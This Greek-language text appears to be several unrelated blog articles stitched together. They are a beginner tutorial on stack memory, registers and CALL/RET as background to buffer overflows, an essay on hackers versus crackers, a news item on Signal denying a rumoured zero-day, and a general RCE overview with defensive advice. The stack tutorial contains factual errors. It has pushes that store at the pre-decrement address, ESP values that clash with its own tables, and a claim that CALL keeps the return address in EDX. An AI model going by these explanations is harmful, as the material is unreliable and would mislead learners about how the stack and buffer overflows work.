Το συγκεκριμένο άρθρο είναι το πρώτο μέρος μιας σειράς που θα περιγράψει την αδυναμία Buffer Overflow. Σε αυτό το πρώτο μέρος, θα δώσουμε την απαιτούμενη (στοιχειώδη) γνώση ή σε απλά Ελληνικά: “το απαιτούμενο background”, που χρειάζεται σε κάποιον, ώστε να μπορέσει κατανοήσει τον βαθύτερο λόγο που μπορεί να συμβεί μια τέτοια επίθεση, ώστε να μπορέσει να εφαρμόσει μέτρα (ακόμα και ο ίδιος) μήπως και καταφέρει να μειώσει την πιθανότητα υλοποίησης αυτής της απειλής.
Κάθε εφαρμογή που τρέχουμε στον υπολογιστή μας όσο απλή ή σύνθετη κι αν είναι γράφτηκε από κάποιον προγραμματιστή. Οι αρχές εκτέλεσης ενός προγράμματος είτε πρόκειται για το ίδιο το λειτουργικό σύστημα είτε για ένα ταπεινό πρόγραμμα πρόσθεσης δύο αριθμών είναι παρόμοιες ή σχεδόν παρόμοιες.
Πρώτα απ’ όλα έχουμε το πρόγραμμα που φτιάχνει ο προγραμματιστής το οποίο αποτελείται από εντολές κατανοητές μόνο από ανθρώπους και ονομάζεται πηγαίος κώδικας ή απλά κώδικας. Αυτός ο κώδικας λοιπόν περνάει από μια ειδική επεξεργασία από άλλα προγράμματα που ονομάζονται μεταφραστές (compilers) ή διερμηνευτές (interpreters) για να μεταφραστεί σε κάτι που είναι κατανοητό μόνο (μόνο; Χμ, τέλος πάντων) από τον επεξεργαστή του υπολογιστή μας.
Θα μας πείτε τώρα ποια η διαφορά ενός compiler από έναν interpreter. Χμ, αρκετά μεγάλη: Οι compilers μεταφράζουν όλο τον πηγαίο κώδικα και παράγουν ένα νέο πρόγραμμα που ονομάζεται εκτελέσιμο (το γνωστό exe ή com). Το εκτελέσιμο αρχείο αποτελείται από εντολές μηχανής (όπως λέγονται) και που αντιστοιχούν σε αυτές που γράφτηκαν στον πηγαίο κώδικα. Είναι αυτό το αρχείο που όταν εκτελεστεί θα υλοποιήσει τις εντολές του αντίστοιχου πηγαίου του κώδικα. Μεταγλωττιστές χρησιμοποιούνται συνήθως για να μεταφράσουν κώδικα σε γλώσσες όπως οι C, C++, Pascal, κλπ.
Οι διερμηνευτές (interpreters) από την άλλη, μεταφράζουν τον πηγαίο κώδικα εντολή-εντολή: Τον διαβάζουν στην μνήμη και τον εκτελούν (συνήθως) γραμμή – γραμμή. Δεν παράγουν (…πάντα) κάποιο εκτελέσιμο αρχείο, αφού ο ίδιος ο πηγαίος κώδικας μεταφράζεται και εκτελείτε εκείνη την χρονική στιγμή που διαβάζεται. Διερμηνευτές υπάρχουν για τις γνωστές γλώσσες ανάπτυξης web εφαρμογών όπως η PHP και η ASP.
Η κάθε μια προσέγγιση φυσικά έχει τα καλά της και τα κακά της: Συνήθως τα προγράμματα που έχουν προέλθει από κάποιον compiler είναι πολύ πιο γρήγορα και απαλλαγμένα από συντακτικά λάθη που μπορεί να έκανε ο προγραμματιστής όταν τα έφτιαχνε. Αυτό το τελευταίο ισχύει διότι η συντακτικός έλεγχος γίνεται όταν παράγεται το εκτελέσιμο και αν βρεθεί λάθος, εκτελέσιμο δεν έχει! 😉 Επίσης το εκτελέσιμο είναι (λέμε τώρα…!! πολύ δύσκολο να διαβαστεί από κάποιον τρίτο ο οποίος θα προσπαθήσει (για οποιονδήποτε λόγο) να «κλέψει» τον κώδικα που έγραψε ο προγραμματιστής. Από την άλλη μεριά τα προγράμματα που περνάνε από διερμηνευτές είναι πολύ πιο εύκολα στην συντήρηση, αφού δεν απαιτείται η διαδικασία του compilation (όπως λέγεται) ούτε και απαιτείται κάποιο ξεχωριστό εκτελέσιμο. Για μικρές αλλαγές στον κώδικα είναι ιδανικά και γρήγορα!
Υπάρχει όμως και μια τρίτη κατηγορία που βρίσκεται κάπου στη μέση. Πρόκειται για τις λεγόμενες εικονικές μηχανές (Virtual Machines – όχι δεν εννοούμε το VMWare ή το Virtual Box, μην το μπερδέψετε!) που παράγουν ένα ψευτο-εκτελέσιμο κώδικα (intermediate code), ο οποίος απαιτεί την ύπαρξη μιας «εικονικής μηχανής» για να τρέξει. Τέτοιες προσεγγίσεις έχουν φτιαχτεί για τις γλώσσες Java και για το γνωστό και μη εξαιρετέο Microsoft .Net. Βέβαια μη νομίζετε ότι αυτή η ιστορία είναι και τόσο πολύ καινούρια! Την 10ετία του 1980 υπήρχε το περίφημο P-System της Pascal, και είχαν φτιαχτεί γι’ αυτό ουκ-ολίγες εφαρμογές! Τα πλεονεκτήματα της virtual machine είναι η φορητότητα, η ασφάλεια κλπ. Για την ταχύτητα θα έλεγε κανείς ότι σίγουρα είναι καλύτερα από τον interpreter αλλά ίσως λίγο χειρότερα από τον compiler.
Ας έρθουμε όμως στην εκτέλεση του προγράμματος, που είναι και αυτό που μας ενδιαφέρει. Θα ασχοληθούμε με την εκτέλεση ενός προγράμματος που έχει μεταγλωττιστεί από κάποιον compiler χωρίς αυτό να σημαίνει ότι οι υπόλοιπες προσεγγίσεις (interpreters και virtual machines) διαφέρουν πολύ σε υλοποίηση. Να πούμε οτι σε αυτό το άρθρο (τουλάχιστον) για αναφερθούμε για λόγους απλότητας σε υλοποιήσεις που βασίζονται στους επεξεργαστές της Intel (AMD και συμβατούς) και σε αρχιτεκτονική 32-bit.
Κάθε πρόγραμμα που εκτελείται στην μνήμη του υπολογιστή μας χρησιμοποιεί τρία βασικά μέρη της μνήμης RAM:
Το μέρος του Κώδικα (code section).
Το μέρος των Δεδομένων (data section).
Το μέρος της Στοίβας (stack).
Πριν αναλύσουμε ένα-ένα τα μέρη αυτά θα θέλαμε να σας πούμε λίγα λόγια για την μνήμη. Η μνήμη του υπολογιστή είναι σαν τις κλειδοθήκες στην reception ενός ξενοδοχείου. Οι κλειδοθήκες λοιπόν, έχουν απ’ έξω γραμμένο ένα αριθμό που είναι ο αριθμός δωματίου και μέσα περιέχουν (ή δεν περιέχουν) το κλειδί. Έτσι ακριβώς λειτουργεί και η μνήμη του υπολογιστή μας: Περιέχει εκατομμύρια κουτάκια με νούμερα τα οποία νούμερα τα ονομάζουμε διευθύνσεις και μέσα σε αυτές φυλάσσονται τα δεδομένα μας. Κάθε κουτάκι μπορεί να δεχτεί συγκεκριμένου μεγέθους δεδομένα. Αν τα δεδομένα που θέλουμε να αποθηκεύσουμε στην μνήμη είναι πολλά (που σχεδόν πάντα είναι) τότε μοιράζονται σε πολλά κουτάκια. Όπως θα φαντάζεστε, πάρα πολλά κουτάκια παραμένουν άδεια διότι απλά δεν έχουν τοποθετηθεί ακόμα μέσα τους δεδομένα. Αυτό όμως δεν σημαίνει ότι δεν έχουν και διεύθυνση! Κρατήστε αυτές τις πληροφορίες διότι θα μας χρειαστούν παρακάτω.
Μέρος του Κώδικα (code section)
Σε αυτό το κομμάτι της μνήμης αποθηκεύονται όλες οι εντολές του προγράμματός μας. Κατά την διάρκεια εκτέλεσης του προγράμματος κανένα πρόγραμμα δεν μπορεί να γράψει δεδομένα σε αυτό το μέρος. Είναι μόνο για διάβασμα (Read Only).
Για παράδειγμα, όλες οι εντολές μηχανής που αντιστοιχούν στο παρακάτω κομμάτι πηγαίου κώδικα (σε γλώσσα C στο παράδειγμα μας) θα τοποθετηθούν στην μνήμη στο Code Section:
/* Θέσε τα στοιχεία της 1ης διαγώνιου ενός πίνακα 100×100 με 1, και τα υπόλοιπα με 0 */
for (i = 0; i < 100; i++)
for (j = 0; j < 100; j++)
if (i<>j)
a[i][j] = 0
else
a[i][j] = 1;
Τα σχόλια /*…*/ φυσικά δεν περιλαμβάνονται στον εκτελέσιμο κώδικα, δηλαδή δεν θα μεταφραστούν σε κώδικα μηχανής αφού αφορούν μόνο αυτόν που διαβάζει το πρόγραμμα και όχι τον επεξεργαστή που το εκτελεί.
Μέρος των Δεδομένων (data section)
Στο μέρος αυτό τοποθετούνται όλες οι καθολικές μεταβλητές (global variables) του προγράμματος μας. Καθολικές μεταβλητές είναι εκείνες που είναι προσβάσιμες από όλες τις συναρτήσεις (functions) και τα υποπρογράμματα (procedures) του τρέχοντος προγράμματος. Εδώ, μπορεί να γράψει και φυσικά να διαβάσει δεδομένα το πρόγραμμα μας (non Read-Only). Για παράδειγμα, οι παρακάτω μεταβλητές i, j και a θα τοποθετηθούν στο data section:
int i;
int j=0;
int a[100][100];
Μέρος της Στοίβας (stack)
Όλες οι τοπικές μεταβλητές, δηλαδή αυτές που δηλώνονται στις συναρτήσεις ή στα υπο-προγράμματα καθώς επίσης και κάποιες διευθύνσεις μνήμης που χρησιμοποιεί το πρόγραμμα μας καταχωρούνται στην λεγόμενη στοίβα. Το μέρος αυτό της μνήμης αποτελεί στην πραγματικότητα μια δομή δεδομένων τύπου στοίβας. Για να γίνει κατανοητή η δομή αυτή θα αναφέρουμε το κλασικό παράδειγμα με τα πιάτα: Σκεφτείτε ότι πρέπει να πλύνουμε 10 πιάτα. Καθώς τα πλένουμε ένα-ένα τα τοποθετούμε σε μια στοίβα, το ένα επάνω στο άλλο. Μόλις τελειώσουμε και θέλουμε να τα σκουπίσουμε (λέμε τώρα…!) τότε θα πάρουμε πρώτα εκείνο που μπήκε τελευταίο στην στοίβα. Η μέθοδος αυτή που χρησιμοποιούμε την στοίβα ονομάζεται Last In First Out (LIFO) και πρόκειται για μια πολύ συνηθισμένη “κατάσταση” στον προγραμματισμό (και όχι μόνο – απ’ όσο είδαμε και στο παράδειγμα μας…). Το κύριο χαρακτηριστικό της είναι πως το στοιχείο που μπαίνει τελευταίο, βγαίνει πρώτο.
Να πούμε οτι σε αυτό το μέρος της μνήμης επιτρέπεται το γράψιμο, δηλαδή είναι κι αυτό (όπως και το data segment) Writable. Αντί για… πιάτα όμως, το πρόγραμμα μας τοποθετεί εδώ της μεταβλητές που χρησιμοποιούμε στις συναρτήσεις του προγράμματος μας. Βέβαια, πρέπει να έχει ένα τρόπο να γνωρίζει ποια μεταβλητή είναι η τελευταία στην στοίβα, αυτή δηλαδή που θα ληφθεί πρώτη, όταν χρειαστεί. Για να το γνωρίζει αυτό, χρησιμοποιεί έναν από τους λεγόμενους δείκτες. Σκεφτείτε τους δείκτες σαν θέσεις μνήμης αλλά μέσα στον επεξεργαστή: άμεσα και γρήγορα προσβάσιμους. Ο δείκτης που χρησιμοποιείται για να ξέρουμε ποιο είναι το τελευταίο στοιχείο (μεταβλητή) της στοίβας ονομάζεται Δείκτης Στοίβας (extended stack pointer – ESP ή σκέτο SP). Στην πραγματικότητα ο ESP κρατάει την διεύθυνση της μεταβλητής που βρίσκεται κάθε στιγμή στην κορυφή της στοίβας.
Στην στοίβα μπορούμε να βάζουμε (push) ή να παίρνουμε (pop) στοιχεία κατά βούληση. Είναι πολύ σημαντικό να γνωρίζετε δυο μικρά μυστικά:
Εξ’ αιτίας της αρχιτεκτονικής του 32μπιτου επεξεργαστή της Intel (ή των συμβατών με αυτόν όπως o AMD), οι μεταβλητές που καταχωρούνται αποτελούνται από μέρη των 4ων ψηφίων ή αλλιώς των 4ων bytes. Γιατί; Διότι το bus είναι 32 bits (binary digits). Στα 32 bits χωράνε 4 bytes αφού το 1 byte = 8 bits, 4 x 8 = 32bits.
Η στοίβα αυξάνεται προς τα κάτω. Δηλαδή ξεκινάει από ψηλές διευθύνσεις στην μνήμη και όσο βάζουμε στοιχεία αυτή “μεγαλώνει” τόσο “κατεβαίνει” προς τα κάτω. Δείτε για παράδειγμα το εξής:
Έστω οτι ο καταχωρητής SP = 256. Δείχνει, δηλαδή, στο κουτάκι 256 στην μνήμη. Αν δώσουμε την εντολή “push 34” (βάλε στο stack το 34) τότε ο ΕSP αυτόματα θα μειωθεί κατά 4 και θα γίνει 252 και στο κουτάκι 256 θα μπει ο αριθμός 34.
Έχουμε λοιπόν:
PUSH 34
Διεύθυνση
Τιμή
256
34
252
248
…
ESP=256
Αν μετά δώσουμε την εντολή:
PUSH 50
θα έχουμε:
Διεύθυνση
Τιμή
256
34
252
50
248
…
ESP=248
Για να πάρει το πρόγραμμα μας από το stack, θα δώσει την εντολή:
POP Χ
Αυτό σημαίνει οτι ο επεξεργαστής θα πάρει από το STACK την πρώτη τμή και θα την απονείμει στην μεταβλητή Χ και αμέσως μετά ο ESP θα γίνει 252 και η μεταβλητή Χ θα έχει την τιμή 34.
Εδώ, να αναφέρουμε ένα μικρό μυστικό. Αν θέλαμε να πάρουμε από το STACK την τιμή 50 και όχι την 34 τότε θα έπρεπε να δώσουμε δύο φορές POP αφού δεν έχουμε κατευθείαν πρόσβαση στο 50. Δηλαδή:
POP Χ
POP Χ Εδώ, το Χ θα έχει την τιμή 50 και ο ESP=248.
Πως εκτελούνται οι εντολές (instructions)
Για να καταλάβουμε αυτή την λειτουργία πρέπει πρώτα να μιλήσουμε για ένα καταχωρητή: Τον EIP (Extended Instruction Pointer ή απλά Instruction Pointer). Οι καταχωρητές είναι ακριβώς όπως και οι δείκτες που αναφέραμε πιο πάνω: Είναι θέσεις μνήμης μέσα στον επεξεργαστή και χρησιμοποιούνται από αυτόν για να εκτελεί της εντολές των προγραμμάτων μας. Αυτός ο καταχωρητής χρησιμοποιείται για να “κρατάει” πάντα την διεύθυνση που βρίσκεται η επόμενη προς εκτέλεση εντολή του προγράμματος μας. Για να εκτελέσει ο επεξεργαστής μια εντολή, διαβάζει από τον EIP την διεύθυνση της, πάει σε αυτήν την διεύθυνση και διαβάζει την εντολή, την εκτελεί και καταχωρεί στον EIP την επόμενη προς εκτέλεση εντολή, κοκ. Πώς όμως ο επεξεργαστής μας θα βρει ποια είναι η επόμενη προς εκτέλεση εντολή ώστε να την καταχωρήσει στον EIP; Χμ… εδώ πρέπει να διακρίνουμε δυο περιπτώσεις:
Η επόμενη εντολή προς εκτέλεση βρίσκεται αμέσως μετά την προηγούμενη.
Να έχουμε μια περίπτωση jump δηλαδή να υπάρχει (για παράδειγμα) μια συνάρτηση που καλείται προς σε ένα άλλο σημείο του προγράμματος και θα πρέπει ο επεξεργαστής μας να “πηδήσει” σε εκείνο το σημείο, ή αλλιώς σε εκείνη την διεύθυνση της μνήμης και να εκτελέσει τις εντολές εκεί.
Στην περίπτωση 1 τα πράγματα είναι απλά: Η διεύθυνση υπολογίζεται ως εξής: προσθέτουμε στον EIP το μήκοςτης τρέχουσας εντολής που εκτελέστηκε. Το αποτέλεσμα μιας τέτοιας πράξης θα είναι η διεύθυνση της αμέσως επόμενης εντολής. Για να το καταλάβετε αυτό, δείτε το εξής μικρό πρόγραμμα δύο εντολών:
100 push EDX 101 mov ESP 0
Η εντολή στην διεύθυνση 100 βάζει στο stack την τιμή του καταχωρητή EDX (αυτός είναι ένας καταχωρητής γενικής χρήσης – τον έχουμε σαν… πρόχειρο). Η εντολή στην διεύθυνση 101 δίνει στο δείκτη ESP την τιμή 0. Όταν ο επεξεργαστής μας εκτελεί την εντολή στην διεύθυνση 100 τότε θα “σκεφτεί” τα εξής:
Είναι κάποιο jump; Όχι, άρα υπολογίζω το μέγεθος της εντολής στην διεύθυνση 100 που έχω. Έστω οτι είναι 1 byte. Άρα η επόμενη εντολή προς εκτέλεση πρέπει να βρίσκεται στην διεύθυνση 100 + 1 = 101. Άρα βάζω στον EIP το 101.
Απ’ ότι καταλάβατε εδώ, κάθε εντολή – instruction (push, mov κλπ) καταλαμβάνει μνήμη και άρα έχει και κάποιο μέγεθος. Όλες οι εντολές δεν έχουν το ίδιο μέγεθος. Άλλες μπορεί να είναι 1 byte άλλες 2 άλλα 4 κοκ.
Υπάρχει βέβαια και η πιο σύνθετη περίπτωση: Η περίπτωση JUMP, δηλαδή η περίπτωση που το πρόγραμμα μας συνεχίζεται σε μια άλλη διεύθυνση πολύ πιο… “μακρινή” από την αμέσως επόμενη στη σειρά. Αυτό μπορεί να συμβεί (όπως είπαμε) όταν το πρόγραμμα καλεί μια συνάρτηση ή ένα άλλο υποπρόγραμμα. Στην πράξη γίνεται το εξής: Πριν εκτελεστεί η εντολή JUMP ο επεξεργαστής μας κρατάει την αμέσως επόμενη εντολή (αυτή που θα βρίσκεται μετά το jump) και την τοποθετεί σε ένα καταχωρητή γενικής χρήσης, ας πούμε τον EDX. Αμέσως μετά πάει στην διεύθυνση που του λέει το JUMP (Π.χ. JUMP 35456) και εκτελεί τις εντολές που βρίσκονται εκεί μία προς μία, μέχρι να συναντήσει το τέλος της συνάρτησης (που ορίζεται με μια εντολή RET, δηλαδή return), τότε απλά γράφει στο EIP το περιεχόμενο που είχε καταχωρήσει στον EDX. Κατά συνέπεια το πρόγραμμα συνεχίζει από την επόμενη εντολή που είχε σταματήσει για κάνει το jump. Η διαδικασία του JUMP υλοποιείται από το πρόγραμμα με την χρήση 2 εντολών: της CALL και της RET. H CALL μεταφέρει την λειτουργικότητα του προγράμματος σε μια άλλη (μακρινή) διεύθυνση και η RET δηλώνει το τέλος της σειράς των εντολών που βρίσκονται σε αυτήν την άλλη διεύθυνση ώστε να ξέρει πότε να σταματήσει (ή όπως λέμε να επιστρέψει) ο επεξεργαστής από την εκτέλεση των εντολών σε αυτή την περιοχή της μνήμης.
Δείκτης Βάσης – base pointer (EBP)
Κάθε φορά που εφαρμόζεται ένα jump είπαμε οτι ο επεξεργαστής πάει να εκτελέσει ένα σύνολο εντολών (instructions) σε μια άλλη θέση μνήμης (μέχρι να συναντήσει ένα RET). Αυτό το σύνολο εντολών όπως είπαμε, ονομάζεται συνάρτηση (function) ή διαδικασία (procedure). Κάθε συνάρτηση (ή διαδικασία) έχει το δικό της stack το οποίο ονομάζεται stack frame. Ένα stack frame είναι μια στοίβα στην οποία θα καταχωρηθούν μεταβλητές και διευθύνσεις που αφορούν μόνο στην τρέχουσα συνάρτηση που εκτελείται. Κάθε διεύθυνση μέσα στο συγκεκριμένο stack είναι μια σχετική διεύθυνση σε σχέση με μια βάση. Η βάση αυτή είναι ο base pointer. Όλες λοιπόν οι αναφορές στις διευθύνσεις του stack γίνονται με βάση τον τρέχοντα δείκτη βάσης (base pointer).
Στην πράξη γίνεται το εξής: Πριν καλέσουμε μια συνάρτηση βάζουμε στο EBP τον τρέχον ESP. Από εκεί και μετά κάθε φορά που θέλουμε να αναφερθούμε σε μια διεύθυνση στο stack θα το κάνουμε με βάση τον EBP που στην ουσία είναι η αρχή του stack πριν την κλήση της συνάρτησης. Για να το καταλάβετε δείτε το εξής παράδειγμα:
Στο παρακάτω stack έχουμε ebp=256 και esp=256:
Διεύθυνση
Τιμή
256
34
252
248
…
Έστω οτι καλούμε μια συνάρτηση η οποία βάζει στο stack τον αριθμό 89. Θα έχουμε:
Διεύθυνση
Τιμή
256
34
252
89
248
…
Όπου ebp=256 και esp=252.
Η χρήση του ebp μας βολεύει πολύ όταν θέλουμε να αναφερθούμε στις τιμές του stack της συγκεκριμένης συνάρτησης. Δηλαδή, η μεταβλητή που βρίσκεται στη θέση (ebp 256) είναι η πρώτη μεταβλητή που καταχώρησε στο stack η συνάρτηση μας.
Όταν τελειώσει αυτή η συνάρτηση το έργο της (με ένα RET), τότε ο EBP θα επανέλθει στον προηγούμενο EBP ο οποίος είχε φυλαχτεί σε κάποιον καταχωρητή πριν την κλήση της συνάρτησης.
Συμπεράσματα
Δώσαμε μια βασική περιγραφή για το πώς λειτουργεί εσωτερικά ένα πρόγραμμα. Οι γνώσεις που αποκομίσατε από το συγκεκριμένο άρθρο θεωρούνται στοιχειώδεις γνώσεις για ένα reverser ή για κάποιον που θέλει να καταλάβει έννοιες και να μπορέσει να διαβάσει άρθρα λίγο πιο προχωρημένα όπως αυτά που «μιλάνε» για buffer overflow.
Θα πρέπει, αν θέλετε να καταλάβετε καλά ένα Stack Buffer Overflow Attack, θα πρέπει να δώσετε βάση και να μπορείτε να εξηγήσετε τα εξής:
Τι είναι ο Instruction Pointer (EIP).
Τι είναι το Stack.
Τι είναι ο Stack Pointer (ESP).
Πώς συνδέονται τα παραπάνω μεταξύ τους.
Στα επόμενα άρθρα αυτής της οικογένειας θα δούμε λίγο πιο… core πράγματα! Προς το παρόν, σκεφτείτε το εξής:
Τι θα συμβεί αν καταφέρουμε με κάποιο τρόπο να ελέγξουμε τον Instruction Pointer (EIP);! 😎
Ακούμε πολλές φορές στις ειδήσεις ότι hackers επιτέθηκαν εδώ, hackers κάνανε αυτό, εκείνο, το παρα-άλλο… λάθος!
Η λέξη hacker φυσικά είναι δημοφιλής, γοητευτική, πιασάρικη και ”πουλάει” πολύ, άρα δεν μας κάνει εντύπωση, ενώ η λέξη cracker, μας θυμίζει περισσότερο… μπισκοτάκια! 🙂
Η αλήθεια όμως είναι διαφορετική, παρόλο που οι hackers με τους crackers είναι κάτι σχεδόν ίδιο…
Μπερδευτήκατε ε; Ας δούμε!
Τι είναι ο hacker
Hacker είναι ένα άτομο το οποίο έχει βαθιά γνώση των υπολογιστών και/ή του προγραμματισμού, γνώση πολύ ανώτερη από τους απλούς χρήστες.Οι hackers γνωρίζουν σχεδόν όλα τα in και τα out των υπολογιστών και εκμεταλλευόμενοι αυτή την γνώση, μπορούν να κάνουνε πράγματα που ”δεν γίνονται”, όπως επίσης και πολλά άλλα, που δεν μπορούν να κάνουν οι απλοί χρήστες.Για παράδειγμα μπορούνε να παρακάμψουνε συστήματα ασφαλείας και να αποκτήσουνε πρόσβαση εκεί που δεν πρέπει, γιατί γνωρίζουνε πάρα πολλά πράγματα (στην πραγματικότητα τίποτα δεν είναι 100% ασφαλές, απλά παίζει ρόλο πόση γνώση έχει ο άλλος ώστε να καταφέρει να αποκτήσει πρόσβαση…)
Οι hackers κινούνται στα πλαίσια της νομιμότητας και δεν παραβιάζουν τους νόμους με τις πράξεις τους.
Τι είναι ο cracker
Cracker είναι αυτός που είναι μεν hacker, είναι δηλαδή κι αυτός ”expert” στους υπολογιστές, αλλά χρησιμοποιεί αυτή τη γνώση για να κάνει κάτι παράνομο.
Οι crackers χρησιμοποιούν όλη αυτή την γνώση για να ”σπάσουν” προγράμματα, να δημιουργήσουν ζημιά σε μια ιστοσελίδα, να κλέψουν δεδομένα, να φτιάξουν ιούς με κακό
Διαφορά hacker – cracker
Άρα, καταλαβαίνετε λίγο πολύ ποια είναι η διαφορά hacker – cracker…Ο cracker κάνει ό,τι και ο hacker, αλλά δημιουργεί ζημιές και παραβιάζει τους νόμους.
Για παράδειγμα, αν κάποιος καταφέρει και βρει – ”σπάσει” τους κωδικούς από μία ιστοσελίδα, αποκτώντας πρόσβαση στα πάντα, και μείνει εκεί χωρίς να συνεχίσει, τότε ονομάζεται hacker.
Αν όμως προχωρήσει και κάνει μεταβολές στο περιεχόμενο εν αγνοία του ιδιοκτήτη της ιστοσελίδας, ή και δημιουργήσει ζημιά, τότε αυτός είναι cracker!Τέλος, αξίζει να σημειώσουμε το αυτονόητο: όλοι οι crackers είναι και hackers, αλλά το αντίθετο δεν ισχύει.
Άρα όλοι αυτοί που αναφέρονται στις ειδήσεις ως ”hackers που δημιουργήσανε πρόβλημα ή ζημιά”, δεν είναι τίποτα άλλο, παρά crackers…Οπότε κλείνοντας, η διαφορά hacker-cracker έγκειται στο πως χρησιμοποιεί ο καθένας τη γνώση του: με σκοπό μόνο να μάθει, ή με σκοπό να δημιουργήσει ζημιά.
Η Signal αναφέρει ότι το σφάλμα Zero-day δεν είναι πραγματικό
Το Signal messenger διερεύνησε τις φήμες που εξαπλώθηκαν στο διαδίκτυο το Σαββατοκύριακο σχετικά με μια ευπάθεια ασφαλείας μηδενικής ημέρας που σχετίζεται με τη λειτουργία “Δημιουργία προεπισκόπησης συνδέσμου”, δηλώνοντας ότι δεν υπάρχει καμία απόδειξη ότι αυτή η ευπάθεια είναι πραγματική.
Αφού επικοινώνησαν με τη Signal σχετικά με το zero-day χθες το βράδυ, δημοσίευσαν μια δήλωση στο Twitter, στην οποία αναφέρουν ότι διερεύνησαν τις φήμες και δεν βρήκαν καμία απόδειξη ότι αυτό το ελάττωμα είναι πραγματικό.
Επικαλούμενη κυβερνητικές πηγές των ΗΠΑ, η είδηση του Zero-day εξαπλώθηκε γρήγορα στο διαδίκτυο και στην κοινότητα κυβερνοασφάλειας το απόγευμα του Σαββάτου.
Αυτές οι ανώνυμες πηγές της κυβέρνησης των ΗΠΑ δήλωσαν ότι η ευπάθεια μπορεί να μετριαστεί με την απενεργοποίηση της ρύθμισης “Generate Link Previews” στο Signal.
Ενώ το Signal έχει δηλώσει ότι δεν έχει αποδείξεις για ένα νέο zero-day, εξακολουθεί να ζητάει από όσους έχουν νέες και “πραγματικές” πληροφορίες να επικοινωνήσουν με την ομάδα ασφαλείας της.
Καθώς πρόκειται για μια συνεχιζόμενη έρευνα και ο μετριασμός είναι απλά η απενεργοποίηση της λειτουργίας Link Previews, οι χρήστες ίσως θελήσουν να απενεργοποιήσουν αυτή τη ρύθμιση προς το παρόν μέχρι να επιβεβαιωθεί πλήρως ότι δεν είναι πραγματική.
Οι Σκοτεινοί Μάγοι του Διαδικτύου: Επίθεση RCE και Οι Μέθοδοι της
Στον συναρπαστικό κόσμο της ψηφιακής εποχής μας, η ασφάλεια των υπολογιστικών συστημάτων αποτελεί καίρια πρόκληση. Μια από τις πιο σοβαρές απειλές που κυνηγούν την ασφάλεια των δικτύων και των συσκευών είναι η επίθεση RCE (Remote Code Execution). Σε αυτό το άρθρο, θα ρίξουμε μια ματιά στη φύση της επίθεσης RCE και τους διάφορους τρόπους με τους οποίους μπορεί να χρησιμοποιηθεί.
Τι Είναι η Επίθεση RCE;
Η επίθεση RCE (Remote Code Execution) αναφέρεται στην ευκαιρία του επιτιθέμενου να εκτελέσει κώδικα σε απομακρυσμένο υπολογιστή ή συσκευή, χωρίς την έγκριση ή την αντίληψη του νόμιμου χρήστη. Αυτό σημαίνει ότι ο επιτιθέμενος αποκτά απόλυτο έλεγχο στον στόχο του, ανοίγοντας την πόρτα για πολλούς επικίνδυνους σκοπούς.
Πού Χρησιμοποιείται η Επίθεση RCE;
Οι επιθέσεις RCE μπορούν να εμφανιστούν σε πολλούς τομείς, επηρεάζοντας τόσο τον ατομικό όσο και τον επιχειρηματικό ψηφιακό χώρο:
Κρατικά και Κυβερνητικά Συστήματα: Κυβερνήσεις και κράτη μπορούν να χρησιμοποιήσουν την RCE για να εισέλθουν σε απομακρυσμένους υπολογιστές ή συστήματα για σκοπούς κατασκοπίας, παρακολούθησης ή κυβερνητικού χειρισμού.
Κλοπή Δεδομένων: Κακόβουλοι εισβολείς μπορούν να αξιοποιήσουν την RCE για να προσπελάσουν ευαίσθητα δεδομένα, όπως προσωπικές πληροφορίες, επιχειρηματικά μυστικά και πιστωτικές πληροφορίες.
Διασπορά Κακόβουλου Λογισμικού: Οι επιθέσεις RCE μπορούν να χρησιμοποιηθούν για τη διάδοση κακόβουλου λογισμικού, όπως ιοί και malware, σε μεγάλη κλίμακα.
Απορρόφηση Υπολογιστικών Πόρων: Οι εισβολείς μπορούν να χρησιμοποιήσουν RCE για να εξαντλήσουν τους πόρους ενός συστήματος, καθιστώντας το ανίκανο να λειτουργήσει ή να ανταποκριθεί.
Επιθέσεις DDoS: Οι επιθέσεις RCE μπορούν να χρησιμοποιηθούν ως μέρος της προετοιμασίας και της διεξαγωγής επιθέσεων DDoS (Distributed Denial of Service). Σε αυτές τις επιθέσεις, οι επιτιθέμενοι χρησιμοποιούν RCE για να ανακτήσουν τον έλεγχο των συσκευών ή των υπολογιστών που στη συνέχεια χρησιμοποιούν για να προβούν σε συντονισμένες επιθέσεις DDoS, κατακλύζοντας στόχους με αιτήσεις και απενεργοποιώντας τους.
Πώς Προστατεύουμε τον Εαυτό μας από την Επίθεση RCE;
Η προστασία από τις επιθέσεις RCE απαιτεί συνεχή προσοχή και προληπτικά μέτρα. Εδώ είναι μερικές βασικές συμβουλές για να προστατευτείτε:
Ενημερώστε το Λογισμικό σας: Ενημερώστε συστηματικά το λογισμικό σας, συμπεριλαμβανομένου του λειτουργικού συστήματος, των εφαρμογών και του αντικακοπτή. Οι ενημερώσεις συνήθως περιλαμβάνουν διορθώσεις ευπαθειών που μπορούν να εκμεταλλευτούν οι επιτιθέμενοι.
Προστασία Κωδικών και Προνομίων: Χρησιμοποιήστε δυνατούς κωδικούς πρόσβασης και περιορίστε τις προνομίες που δίνετε στους λογαριασμούς σας. Εφαρμόστε αρχές αρχής λιγότερων προνομίων (Least Privilege) για να περιορίσετε τον έλεγχο που έχουν οι χρήστες.
Χρήση Φιλτράρισματος και Ανίχνευσης: Εγκαταστήστε λύσεις φιλτραρίσματος και ανίχνευσης εισβολών για να εντοπίζετε και να προλαμβάνετε ανομαλίες στην κίνηση του δικτύου και των συστημάτων.
Εκπαίδευση του Προσωπικού: Εκπαιδεύστε το προσωπικό σας σχετικά με τις απειλές και τις βασικές ασφαλείς πρακτικές, ώστε να αναγνωρίζουν και να αντιδρούν σε πιθανές επιθέσεις.
Εφαρμογή Κρυπτογραφίας: Χρησιμοποιήστε ισχυρές κρυπτογραφικές μεθόδους για την προστασία των επικοινωνιών σας και των δεδομένων σας.
Στενός Έλεγχος των Εισόδων: Εφαρμόστε αυστηρό έλεγχο των εισόδων στο δίκτυο και τους διακομιστές σας, ώστε να αποτρέψετε τις ανεπιθύμητες προσπάθειες εισβολής.
Η προστασία από τις επιθέσεις RCE απαιτεί συνεχή παρακολούθηση, εκπαίδευση και εφαρμογή των προληπτικών μέτρων. Επίσης, αξίζει να λαμβάνετε υπόψη ότι η ασφάλεια είναι ένας διαρκώς εξελισσόμενος τομέας, και οι επιθέσεις RCE μπορεί να γίνουν πιο εξειδικευμένες και εκσυγχρονισμένες με την πάροδο του χρόνου.
